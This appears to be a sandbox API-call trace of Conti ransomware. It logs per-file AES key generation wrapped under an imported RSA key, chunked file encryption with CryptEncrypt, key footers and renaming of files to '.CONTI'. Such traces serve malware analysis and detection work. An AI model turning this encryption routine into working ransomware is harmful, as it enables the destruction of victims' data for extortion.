	[0136.799] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.799] WriteFile (in: hFile=0x2fc, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x500000, lpOverlapped=0x0) returned 1
	[0140.569] ReadFile (in: hFile=0x2fc, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x500000, lpOverlapped=0x0) returned 1
	[0142.488] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000) returned 1
	[0142.494] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.495] WriteFile (in: hFile=0x2fc, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x500000, lpOverlapped=0x0) returned 1
	[0147.005] ReadFile (in: hFile=0x2fc, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x500000, lpOverlapped=0x0) returned 1
	[0148.379] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000) returned 1
	[0148.385] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.385] WriteFile (in: hFile=0x2fc, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x500000, lpOverlapped=0x0) returned 1
	[0150.007] ReadFile (in: hFile=0x2fc, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x500000, lpOverlapped=0x0) returned 1
	[0153.209] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000) returned 1
	[0153.219] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0153.220] WriteFile (hFile=0x2fc, lpBuffer=0xcb20000, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0) 

Thread:
	id = 162
	os_tid = 0xcfc

	[0093.080] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xd030000
	[0093.080] CryptAcquireContextA (in: phProv=0x497fc54, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x497fc54*=0x176b9b8) returned 1
	[0093.083] CryptImportKey (in: hProv=0x176b9b8, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x497fc50 | out: phKey=0x497fc50*=0x175dd30) returned 1
	[0093.083] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0093.607] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17c3ea8 | out: phKey=0x17c3ea8*=0x175e6b0) returned 1
	[0093.607] CryptExportKey (in: hKey=0x175e6b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c3eac, pdwDataLen=0x497fc1c | out: pbData=0x17c3eac*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0093.612] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80
	[0093.613] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.613] GetLastError () returned 0x0
	[0093.613] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=77748) returned 1
	[0093.613] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12fb4
	[0093.613] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.613] SetEndOfFile (hFile=0x33c) returned 1
	[0093.613] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.613] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.613] WriteFile (in: hFile=0x33c, lpBuffer=0x17c3eac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17c3eac*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.615] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.615] ReadFile (in: hFile=0x33c, lpBuffer=0xd030000, nNumberOfBytesToRead=0x12fb4, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x12fb4, lpOverlapped=0x0) returned 1
	[0093.617] CryptEncrypt (in: hKey=0x175e6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x12fb4, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x12fc0) returned 1
	[0093.617] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.617] WriteFile (in: hFile=0x33c, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x12fc0, lpOverlapped=0x0) returned 1
	[0093.618] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.618] WriteFile (in: hFile=0x33c, lpBuffer=0x17c3ea0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17c3ea0*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0093.618] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.618] CloseHandle (hObject=0x33c) returned 1
	[0093.620] GetProcessHeap () returned 0x1720000
	[0093.620] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.625] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml"
	[0093.625] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.CONTI"
	[0093.625] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.conti")) returned 1
	[0093.625] GetProcessHeap () returned 0x1720000
	[0093.625] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.625] CryptDestroyKey (hKey=0x175e6b0) returned 1
	[0093.625] GetProcessHeap () returned 0x1720000
	[0093.625] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfb20 | out: hHeap=0x1720000) returned 1
	[0093.625] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0094.204] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x175e730) returned 1
	[0094.204] CryptExportKey (in: hKey=0x175e730, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x497fc1c | out: pbData=0x17d443c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0094.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80
	[0094.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.210] GetLastError () returned 0x0
	[0094.210] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=1150) returned 1
	[0094.210] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x47e
	[0094.211] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.211] SetEndOfFile (hFile=0x34c) returned 1
	[0094.211] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.211] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.211] WriteFile (in: hFile=0x34c, lpBuffer=0x17d443c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d443c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0094.213] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.213] ReadFile (in: hFile=0x34c, lpBuffer=0xd030000, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x47e, lpOverlapped=0x0) returned 1
	[0094.213] CryptEncrypt (in: hKey=0x175e730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x47e, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x480) returned 1
	[0094.213] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.213] WriteFile (in: hFile=0x34c, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x480, lpOverlapped=0x0) returned 1
	[0094.213] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.213] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d4430*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0094.213] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.213] CloseHandle (hObject=0x34c) returned 1
	[0094.214] GetProcessHeap () returned 0x1720000
	[0094.214] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.215] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Save.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Save.ico"
	[0094.215] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Save.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Save.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Save.ico.CONTI"
	[0094.215] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.conti")) returned 1
	[0094.215] GetProcessHeap () returned 0x1720000
	[0094.215] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.215] CryptDestroyKey (hKey=0x175e730) returned 1
	[0094.215] GetProcessHeap () returned 0x1720000
	[0094.215] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfeb0 | out: hHeap=0x1720000) returned 1
	[0094.215] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0095.250] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17c4c70 | out: phKey=0x17c4c70*=0x17c83f0) returned 1
	[0095.250] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4c74, pdwDataLen=0x497fc1c | out: pbData=0x17c4c74*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0095.256] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27
	[0095.256] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1
	[0095.257] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0095.257] GetLastError () returned 0x0
	[0095.257] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=8192) returned 1
	[0095.257] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0095.257] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.257] SetEndOfFile (hFile=0x35c) returned 1
	[0095.257] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.257] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.257] WriteFile (in: hFile=0x35c, lpBuffer=0x17c4c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17c4c74*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0095.258] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.258] ReadFile (in: hFile=0x35c, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2000, lpOverlapped=0x0) returned 1
	[0095.260] CryptEncrypt (in: hKey=0x17c83f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2010) returned 1
	[0095.260] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.260] WriteFile (in: hFile=0x35c, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2010, lpOverlapped=0x0) returned 1
	[0095.260] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.260] WriteFile (in: hFile=0x35c, lpBuffer=0x17c4c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17c4c68*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0095.260] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.260] CloseHandle (hObject=0x35c) returned 1
	[0095.261] GetProcessHeap () returned 0x1720000
	[0095.261] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0095.261] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\BOOTSECT.BAK" | out: lpString1="C:\\BOOTSECT.BAK") returned="C:\\BOOTSECT.BAK"
	[0095.261] lstrcatW (in: lpString1="C:\\BOOTSECT.BAK", lpString2=".CONTI" | out: lpString1="C:\\BOOTSECT.BAK.CONTI") returned="C:\\BOOTSECT.BAK.CONTI"
	[0095.261] MoveFileW (lpExistingFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), lpNewFileName="C:\\BOOTSECT.BAK.CONTI" (normalized: "c:\\bootsect.bak.conti")) returned 1
	[0095.261] GetProcessHeap () returned 0x1720000
	[0095.261] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0095.261] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0095.261] GetProcessHeap () returned 0x1720000
	[0095.262] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1742148 | out: hHeap=0x1720000) returned 1
	[0095.262] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0095.489] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d48c8 | out: phKey=0x17d48c8*=0x17c80b0) returned 1
	[0095.489] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d48cc, pdwDataLen=0x497fc1c | out: pbData=0x17d48cc*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0095.490] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20
	[0096.722] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0096.722] GetLastError () returned 0x0
	[0096.722] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=1052672) returned 1
	[0096.722] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x101000
	[0096.722] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.729] SetEndOfFile (hFile=0x388) returned 1
	[0096.729] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.729] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.729] WriteFile (in: hFile=0x388, lpBuffer=0x17d48cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d48cc*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0096.752] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.752] ReadFile (in: hFile=0x388, lpBuffer=0xd030000, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x101000, lpOverlapped=0x0) returned 1
	[0096.778] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x101000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x101010) returned 1
	[0096.779] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.779] WriteFile (in: hFile=0x388, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x101010, lpOverlapped=0x0) returned 1
	[0096.782] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.782] WriteFile (in: hFile=0x388, lpBuffer=0x17d48c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d48c0*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0096.782] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.782] CloseHandle (hObject=0x388) returned 1
	[0096.797] GetProcessHeap () returned 0x1720000
	[0096.797] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.797] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx"
	[0096.797] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.CONTI"
	[0096.798] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.conti")) returned 1
	[0096.798] GetProcessHeap () returned 0x1720000
	[0096.798] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.798] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0096.798] GetProcessHeap () returned 0x1720000
	[0096.798] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0096.798] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0096.798] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17e9228 | out: phKey=0x17e9228*=0x17c80b0) returned 1
	[0096.798] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e922c, pdwDataLen=0x497fc1c | out: pbData=0x17e922c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
